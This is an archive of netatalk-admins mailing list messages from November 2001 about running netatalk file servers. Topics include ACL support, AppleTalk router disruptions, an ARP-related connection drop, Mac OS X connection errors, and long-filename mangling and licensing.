Subject: extended access control lists (ACL) support?
From: Ken Gourlay <gourlayk@saline.k12.mi.us>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <8A3FDEB5-DA07-11D5-8A05-00039302EBCC@saline.k12.mi.us>
X-Mailer: Apple Mail (2.472)

Hello,
I'm running netatalk as a file server in an environment with rather 
complex file permissions.  In order to address the permissions 
situation, I found ACL kernel support (for my linux 2.4.13 kernel) which 
does a wonderful job of creating flexibility in assigning permissions -- 
it works in much the same way as ACLs in Solaris or AFS.  Is there a 
version of netatalk that supports ACLs?  Are there any plans to add 
support?  I've got Samba running on the same server, that supports ACLs 
quite well... just one more reason that Macs look bad here. :(

ACLs for Linux home page: http://acl.bestbits.at/

-- Ken Gourlay
-- Saline Area Schools


From netatalk.administrators-errors@umich.edu  Thu Nov 15 15:46:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA24736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 15:46:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA05416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 15:46:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA05405
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 15:46:52 -0500 (EST)
Received: from groupinfo.com (fw.groupinfo.com [35.12.129.3])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA05373
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:46:51 -0500 (EST)
Received: from groupinfo.com ([192.168.1.136])
	by groupinfo.com (8.11.6/8.11.6) with ESMTP id fAFKkp525516
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:46:51 -0500
Message-ID: <3BF429B7.3962629B@groupinfo.com>
Date: Thu, 15 Nov 2001 15:46:47 -0500
From: Chris Szilagyi <chris@groupinfo.com>
Organization: Group InfoTech
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: subscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit




From netatalk.administrators-errors@umich.edu  Thu Nov 15 15:56:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA25603
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 15:56:21 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA18478
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 15:56:20 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA18473
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 15:56:20 -0500 (EST)
Received: from groupinfo.com (fw.groupinfo.com [35.12.129.3])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA18351
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:56:14 -0500 (EST)
Received: from groupinfo.com ([192.168.1.136])
	by groupinfo.com (8.11.6/8.11.6) with ESMTP id fAFKuE525588
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 15:56:14 -0500
Message-ID: <3BF42BEA.1AFCE5E1@groupinfo.com>
Date: Thu, 15 Nov 2001 15:56:10 -0500
From: Chris Szilagyi <chris@groupinfo.com>
Organization: Group InfoTech
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Atalk net slow, not responding
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,
I am hoping somebody can shed a little light on a peculiar AppleTalk
problem we are having.  We have a Red Hat Linux 7.0 machine
(2.2.19-7.0.10enterprise) set up as an AppleTalk router for two zones,
using netatalk-1.4b2+asun2.1.3-22 from Red Hat.  Things have been fine
for weeks, except for the past couple days, the Mac workstations will
encounter the "Appletalk has been disrupted" message, then a few seconds
later they will get the "Appletalk is now available".  This will cause
every device on our network using Appletalk to pause, then pick back
up.  When I look at /var/log/messages, I can see:

Nov 15 15:12:05 fw atalkd[735]: zip ignoring gnireply
Nov 15 15:12:05 fw atalkd[735]: zip gnireply from 1.10 (eth1 1fa)
Nov 15 15:12:05 fw atalkd[735]: zip ignoring gnireply
Nov 15 15:12:05 fw atalkd[735]: zip gnireply from 1.10 (eth1 1fa)
Nov 15 15:12:06 fw atalkd[735]: zip ignoring gnireply
Nov 15 15:12:06 fw atalkd[735]: zip gnireply from 1.10 (eth1 1fa)
Nov 15 15:12:06 fw atalkd[735]: zip ignoring gnireply
Nov 15 15:12:06 fw atalkd[735]: zip gnireply from 1.10 (eth1 1fa)

These log entries appear at the same time the Appletalk net pauses.  The
machine "fw" in the log is the Linux Appletalk router.  The interface
eth1 is an Intel Pro/1000 T using the e1000 module, v. 3.1.23 of the
driver, released Aug 2001.  If anybody can tell me why this may be
happening, I'd appreciate it.

Thanks in advance,
--
Chris
Group InfoTech, Inc.


From netatalk.administrators-errors@umich.edu  Thu Nov 15 16:25:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA28044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 16:25:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA07513
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 16:25:01 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA07487
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 16:25:00 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA07354
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 16:24:59 -0500 (EST)
Received: (qmail 29341 invoked by alias); 15 Nov 2001 21:21:40 -0000
Received: (qmail 29329 invoked from network); 15 Nov 2001 21:21:40 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 15 Nov 2001 21:21:40 -0000
Subject: Re: extended access control lists (ACL) support?
From: Matthew Keller <kellermg@potsdam.edu>
To: Ken Gourlay <gourlayk@saline.k12.mi.us>
Cc: netatalk-admins@umich.edu
In-Reply-To: <8A3FDEB5-DA07-11D5-8A05-00039302EBCC@saline.k12.mi.us>
References: <8A3FDEB5-DA07-11D5-8A05-00039302EBCC@saline.k12.mi.us>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/0.99.1+cvs.2001.11.14.08.58 (Preview Release)
Date: 15 Nov 2001 16:24:29 -0500
Message-Id: <1005859469.15996.22.camel@comp10574>
Mime-Version: 1.0


	First off, Mac's don't support ACL's, so the fact that Netatalk doesn't
is kinda a non-issue. Netatalk will work with the filesystem perms as
long as the FS doesn't break (or fail to implement) the standard UNIX
stat, lstat, fstat, etc. etc. calls about the file.

On Thu, 2001-11-15 at 15:29, Ken Gourlay wrote:
> Hello,
> I'm running netatalk as a file server in an environment with rather 
> complex file permissions.  In order to address the permissions 
> situation, I found ACL kernel support (for my linux 2.4.13 kernel) which 
> does a wonderful job of creating flexibility in assigning permissions -- 
> it works in much the same way as ACLs in Solaris or AFS.  Is there a 
> version of netatalk that supports ACLs?  Are there any plans to add 
> support?  I've got Samba running on the same server, that supports ACLs 
> quite well... just one more reason that Macs look bad here. :(
> 
> ACLs for Linux home page: http://acl.bestbits.at/
> 
> -- Ken Gourlay
> -- Saline Area Schools
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Nov 15 19:15:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA07884
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 19:15:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA22678
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 19:15:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA22670
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 19:15:31 -0500 (EST)
Received: from mailout06.sul.t-online.de (mailout06.sul.t-online.com [194.25.134.19])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA22629
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 19:15:29 -0500 (EST)
Received: from fwd03.sul.t-online.de 
	by mailout06.sul.t-online.de with smtp 
	id 164WfJ-0002O0-01; Fri, 16 Nov 2001 01:15:29 +0100
Received: from starbase.netz-leistung.de (520057542055-0001@[217.0.27.195]) by fmrl03.sul.t-online.com
	with esmtp id 164Wf4-0q417gC; Fri, 16 Nov 2001 01:15:14 +0100
Received: from vulcan (vulcan.netz-leistung.de [192.168.1.11])
	by starbase.netz-leistung.de (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with SMTP id fAG0FXc05762
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 01:15:33 +0100
From: "Markus Koch" <lists@netz-leistung.de>
To: <netatalk-admins@umich.edu>
Subject: server drops connection (ARP problem)
Date: Fri, 16 Nov 2001 01:15:30 +0100
Message-ID: <ELEEKGAGFFNGOEHDIHKDMECECAAA.lists@netz-leistung.de>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
X-Virus-Scanned: by amavisd-milter (http://amavis.org/
X-Sender: 520057542055-0001@t-dialin.net

Hi

I have a severe problem and I just don't know what else to do. I can not
find any description of something similar on the internet.
Please read and help.

Following problem:
The server (now with Suse 7.2 / 2.4.4 iptables and ipchains disabled)
running netatalk and samba, suddenly without any appearent reason, drops all
network connections. When sniffing the net traffic from the server and
another linux box on the same network, it turns out, that the server does
not recognizes any packet on the net any more. The server sends ARP
questions, at first specificaly to certain computers it has been
comunicating with, and after he does not see any answer, he sends ARP
broadcasts. He never sees any answer. Sniffing the traffic from an other
linux box on the same segment, I can see that all computers answer the ARP
requests, they are on the wire, just not seen by the server. After different
amounts of time (5min to 10h) this condition suddenly dissappears. Suddenly
the server recognises the ARP answers and all is well again. Sometimes the
connection goes down like this when all clients are turned off and does not
come back up for the whole night until someone turns on the first client
(DHCP) computer in the net, then it comes back up. But more often it happens
during the day independently of how many clients (appletalk, samba and imap)
have connections to the server (these obviously time out). The outage
dissappears usually faster during the workday.
The other linux box with the same NIC and kernel (no server deamons
except bind and squid) pluged into the same HUB never shows these symtoms.

Here is what I have tied:
At first I tried the most obvious and changed the NIC. (from onboard
Etherexpress pro to realtek PCI card (the module for the onboard NIN is not
installed)).
Then I updated the Kernel and the whole system/deamons (including samba and
netatalk) from a 2.2.16-RAID (selfcompiled and patched) to the 7.2
distribution (Netatalk 1.4.99 (1.5) and Samba 2.2.0).
I tried out the suse standard 2.4.4 kernel, selfcompiled 2.4.4 and native
selfcompiled 2.4.7 with almost all kinds of network setting in the
kernelconfiguration.
Everything I have tried so far did not change the problem.

Harware:
Motherboard Asus P2B-LS 3xSCSI-HD and 1-SCSI-DAT  and  now Realtek PCI NIC
connected to a 10/100 Mbit noname HUB

Does anyone have an Idea?
What hardware should I change next.
Is there a way to realy debug what is going on in the NIC?
If nobody can help, a good mailinglist dealing with such problems would also
help.

Thanks

markus


From netatalk.administrators-errors@umich.edu  Thu Nov 15 22:33:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA13969
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 15 Nov 2001 22:33:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA16068
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 15 Nov 2001 22:33:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA16053
	for netatalk.administrators-members@umich.edu; Thu, 15 Nov 2001 22:33:30 -0500 (EST)
Received: from smtp2.reach.net.sg (smtp2.reach.net.sg [202.79.127.165])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA16008
	for <netatalk-admins@umich.edu>; Thu, 15 Nov 2001 22:33:29 -0500 (EST)
Received: from yahoo.com ([203.162.55.3])
	by smtp2.reach.net.sg (8.9.3+Sun/8.9.1) with ESMTP id LAA20323
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 11:33:02 +0800 (SGT)
Message-ID: <3BF4892E.5020904@yahoo.com>
Date: Fri, 16 Nov 2001 10:34:06 +0700
From: Di Tim Tien Nu <ditimtiennu@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Connect Mac OS X problem
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I have just installed netatalk-1.5pre8. The compiler is OK so i can run 
atalkd, afpd and papd. Mac use OS X 10.1, the macintosh can see my linux 
server name in "AppleShare" but when i  connect the connection refused 
and post a warning "The AppleShare server you are trying to connect to 
appear not to support the IP protocol required by MAC OS X. Check with 
server' administrator to see if a "Server IP Address" is available". I 
used RH7.2 with kernel 2.4.7-10. I have some questions :
1. How to know the kernel support appletalk protocol ?
-Although I used lsmod command and i saw "appletalk" module
-I used telnet command "telnet my_IP_adderss 548" but i can't, it showed 
"telnet: Unable to connect to remote host: Connection refuse"
-in my atalkd.conf file, i saw "eth0 -phase 2 -net 0 -65534 -addr 
65280.164 "
2. What need I configure the atalkd.conf and afpd.conf for File Server 
Share ?

Regards
Tony


From netatalk.administrators-errors@umich.edu  Fri Nov 16 00:07:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA17407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Nov 2001 00:07:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA06756
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Nov 2001 00:07:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA06751
	for netatalk.administrators-members@umich.edu; Fri, 16 Nov 2001 00:07:55 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA06732
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 00:07:53 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fAG57a526419;
	Thu, 15 Nov 2001 21:07:46 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 15 Nov 2001 21:07:38 -0800
Subject: Re: any progress on long filenames?
From: Steve Freitas <sflist@ihonk.com>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B819DF1A.984A%sflist@ihonk.com>
In-Reply-To: <f05100301b81975d6db50@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> is there anywhere in the development tree or in the planning for future
> releases a mechanism to mangle long filenames to 32 chars

Hi Charles,

There doesn't seem to be enough manpower to do this yet. It's on the list of
future features, but someone needs to volunteer to code it.

I know a couple of people are working on other future features, but using
GPL code to do it, as they're waiting on a stable GPL release. So in this
case, code could be 'borrowed' from Samba, if it would be helpful.

Steve


From netatalk.administrators-errors@umich.edu  Fri Nov 16 13:44:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA16344
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Nov 2001 13:44:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA04592
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Nov 2001 13:44:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA04580
	for netatalk.administrators-members@umich.edu; Fri, 16 Nov 2001 13:44:59 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA04535
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 13:44:57 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Fri, 16 Nov 2001 13:44:57 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100322b81b0e90283b@[192.168.42.39]>
In-Reply-To: <B819DF1A.984A%sflist@ihonk.com>
References: <B819DF1A.984A%sflist@ihonk.com>
Date: Fri, 16 Nov 2001 13:44:50 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: any progress on long filenames?
Content-Type: text/plain; charset="us-ascii"


>There doesn't seem to be enough manpower to do this yet. It's on the list of
>future features, but someone needs to volunteer to code it.
>
>I know a couple of people are working on other future features, but using
>GPL code to do it, as they're waiting on a stable GPL release. So in this
>case, code could be 'borrowed' from Samba, if it would be helpful.


ah. i figured there was a way to share the code from samba, but it looks to me like your reply is saying that the holdup is a license issue?

netatalk is currently under a BSD license, right? is it migrating towards the GPL? if so, as of what release/revision is that targeted to happen? i'm not a coder by ant stretch, but the licensure issues intrigue me.

From netatalk.administrators-errors@umich.edu  Fri Nov 16 18:30:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA28506
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 16 Nov 2001 18:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA20020
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 16 Nov 2001 18:30:06 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA20007
	for netatalk.administrators-members@umich.edu; Fri, 16 Nov 2001 18:30:05 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA19990
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 18:30:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id fAGNU2r19280
	for <netatalk-admins@umich.edu>; Sat, 17 Nov 2001 00:30:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAGNU2Z6004934
	for <netatalk-admins@umich.edu>; Sat, 17 Nov 2001 00:30:02 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAGNU1OZ004926
	for netatalk-admins@umich.edu; Sat, 17 Nov 2001 00:30:01 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 164r7F-0002RP-00
	for <netatalk-admins@umich.edu>; Fri, 16 Nov 2001 23:05:41 +0100
Date: Fri, 16 Nov 2001 23:05:41 +0100
To: netatalk-admins@umich.edu
Subject: Re: any progress on long filenames?
Message-ID: <20011116230541.A9323@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B819DF1A.984A%sflist@ihonk.com> <f05100322b81b0e90283b@[192.168.42.39]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <f05100322b81b0e90283b@[192.168.42.39]>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Nov 16, 2001 at 01:44:50PM -0500, Charles Mangin wrote:

> netatalk is currently under a BSD license, right? is it migrating towards the GPL?

It is under the GPL.

> if so, as of what release/revision is that targeted to happen?

AFAIR since pre7.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Nov 17 16:40:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA13417
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 17 Nov 2001 16:40:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA22494
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 17 Nov 2001 16:40:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA22479
	for netatalk.administrators-members@umich.edu; Sat, 17 Nov 2001 16:40:56 -0500 (EST)
Received: from jeeves.local (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA22411
	for <netatalk-admins@umich.edu>; Sat, 17 Nov 2001 16:40:53 -0500 (EST)
Received: from [192.168.0.151] (t1.local [192.168.0.151])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id fAHLei528339
	for <netatalk-admins@umich.edu>; Sat, 17 Nov 2001 13:40:45 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 17 Nov 2001 13:40:40 -0800
Subject: 1.5 release candidate needs volunteers
From: Steve Freitas <steve@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B81C1957.98EE%steve@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi everybody,

The developers are working towards a 1.5 release. The focus now is on making
sure that 1.5 compiles easily on all supported platforms. The plan is for
volunteers who will compile on a given platform to meet on an IRC channel at
9 am Pacific U.S. time on Saturday, November 24th, and we will work all the
compilation kinks out then. Shortly thereafter, 1.5 will be released.

We need a volunteer for Solaris! So if you have experience compiling
Netatalk on Solaris and are available on the aforementioned date, please
volunteer.

Now, here are the platforms we're currently covering: Linux (Mandrake,
Redhat, Debian, SuSE), FreeBSD, OpenBSD, Tru64, Irix. We need a Solaris
volunteer, and volunteers for any platform anybody else cares about (e.g.
LinuxPPC, Mac OS X, NetBSD, Ultrix, etc.)

So please respond to me soon if you can help.

Thanks!

Steve Freitas


From netatalk.administrators-errors@umich.edu  Sun Nov 18 10:39:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Nov 2001 10:39:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA23351
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Nov 2001 10:39:04 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA23336
	for netatalk.administrators-members@umich.edu; Sun, 18 Nov 2001 10:39:03 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA23287
	for <netatalk-admins@umich.edu>; Sun, 18 Nov 2001 10:39:01 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id PAA14420
	for <netatalk-admins@umich.edu>; Sun, 18 Nov 2001 15:39:00 GMT
Date: Sun, 18 Nov 2001 15:39:00 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
cc: netatalk-admins@umich.edu
Subject: Re: any progress on long filenames?
In-Reply-To: <f05100301b81975d6db50@[192.168.42.39]>
Message-ID: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 15 Nov 2001, Charles Mangin wrote:

> anyhow, i ask because i share a central linux server with macs via netatalk and windows users via samba, and the windows users tend to name their files very long and descriptive names, just to tick me off.

A simple Perl script could be written to search for files with names over
32 chars, and truncate the names according to an appropriate algorithm
(preserve extension etc.).

You could then run that script manually or from a cron job.

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sun Nov 18 14:47:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22744
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 18 Nov 2001 14:47:57 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA22350
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 18 Nov 2001 14:47:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA22332
	for netatalk.administrators-members@umich.edu; Sun, 18 Nov 2001 14:47:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA22276
	for <netatalk-admins@umich.edu>; Sun, 18 Nov 2001 14:47:54 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id VAA26515
	for <netatalk-admins@umich.edu>; Sun, 18 Nov 2001 21:09:48 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 18 Nov 2001 20:51:01 +0100
Subject: Re: any progress on long filenames?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <netatalk-admins@umich.edu>
Message-ID: <B81DCFB5.14BA5%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.LNX.4.21.0111181537480.12746-100000@frank.gwc.org.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 18 Nov 2001 15:39:00 +0000 (GMT), Alistair Riddell wrote:

> On Thu, 15 Nov 2001, Charles Mangin wrote:
> 
>> anyhow, i ask because i share a central linux server with macs via netatalk
>> and windows users via samba, and the windows users tend to name their files
>> very long and descriptive names, just to tick me off.
> 
> A simple Perl script could be written

or modified for your needs from the existing one that is part of the current
netatalk distribution ;-)

<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/contrib/sh
ell_utils/>

